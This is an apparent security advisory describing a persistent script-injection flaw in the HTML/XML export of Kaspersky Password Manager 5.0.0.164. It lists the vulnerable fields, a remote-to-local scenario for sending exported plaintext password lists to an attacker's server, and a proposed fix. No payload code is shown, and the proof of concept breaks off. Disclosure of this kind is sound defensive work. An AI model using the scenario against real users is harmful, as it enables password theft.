Introduction:
=============
Kaspersky Password Manager is an indispensable tool for the active Internet
user. It fully automates
the process of entering passwords and other data into websites and saves the
user going to the trouble
of creating and remembering multiple passwords. When you use Kaspersky Password
Manager to log in, you
can rest assured that your data is safe. The software creates exceptionally
strong passwords and prevents
your login information from being stolen. All confidential data is encrypted
and kept in a dedicated database
on your computer. Kaspersky Password Manager makes your web experience safer,
quicker and more convenient.

Details:
========
A software filter & validation vulnerability is detected in Kasperskys Password
Manager v5.0.0.164 Software.
The bug allows an attacker (local) to implement/inject malicious script code
when processing to export a manipulated
Kaspersky Password Manager database. The vulnerability is located in the
validation of the html/xml export
function/module & the bound vulnerable name, domain, url, comment (listing)
parameters. URLs of entries are embedded
in the exported HTML file without encoding XML special characters, when the URL
(domain) field of an entry contains
a malicious script code, this will be executed when the exported HTML file is
opened in a browser.
Exploitation of the vulnerabilitiy requires a manipulated url with malicious
script code, a logging server with chmod
777, a listing file (random) & a kaspersky PM v5.0.0.164 user. The bug will be
injected on the remote way (Autofill Engine),
affects the local validation (html/xml) on exports and change the technic back
when remote transfering the password lists.
The injection of the malicious url/domain context can be done via automatic
imports/plugins (KPM AutoFill Engine v5.0.0.164)
as victim or manually (reproduce) by including. Successful exploitation of the
vulnerability lead to stable (persistent)
context manipulation, persistent phishing, execution of malware or stealing
plain password lists. Medium user inter action is
required to exploit the vulnerability.
Normally Kaspersky Password Manager exports the html & xml backup with a secure
clean template like ...
<tbody><tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MyAccountNameRow``>
<td align=``right`` width=``150px``>Name des Benutzerkontos: </td>
<td><b>test1</b></td>
</tr>
<tr><td align=``right`` valign=``top``>Link: </td>
<td valign=``top``>test4</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Benutzername: <br>Kennwort: </td><td
valign=``top``>test2<br>test3</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Kommentar</td><td
valign=``top``>test5</td></tr>
<tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MySplitterRowWhite``><td colspan=``2``> </td></tr>
</tbody></table></body></html>
The local attacker manipulate the database with malicious strings (script code)
in the category item profile name input fields.
Kaspersky password manager generates the clean html or xml template but after
the persistent script code inject in the database
profile name items, the persistent code is getting execute direct out the clean
exported xml or html template file.

Vulnerable Section(s):
[+] Export & Import - Database & Categories
Vulnerable Module(s):
[+] HTML & XML
Vulnerable Parameter(s):
[+] Benutzername
[+] Kommentar
[+] Vorname, Zweiter Vorname & Nachname
[+] Email, Stdt & Addresse
[+] Abteilung, Beruf & Webseite
[+] Link/Website/URL
Exploitation (Remote>Local>Local>Remote) Scenario:
1. Remote
Attacker is sending the victim a manipulated login page (MITM/Browser or as
Link) with script code in the url parameters.
The script code impacts an easy html or js script which responds to a url with
chmod 777 (other server) to exchange of the
file when processing a local request.
2. Local
The victim with kaspersky password manager save the malicious vulnerable login
page with the url via AutoFill Engine plugin
to the software. The context got saved in the kaspersky password database.
4. Local
After some time the victim is exporting the file as html plain file with the
standard kaspersky template.
3. Remote
The script code of the vulnerable item values get executed and transfers the
context of the listed plain html file directly to the
attackers web-server with the script in chmod777.
Proof of Concept:
=================
The persistent script code injection & execution can only be exploited by local
attackers or remote via user inter action &
manipulated login/website link(malicious). For demonstration or reproduce ...

Solution:
=========
XML special characters in Item names need to be encoded when processing to
export as HTML file.
Risk:
=====
The security risk of the persistent software vulnerability is estimated as
low(+)/(-)medium.
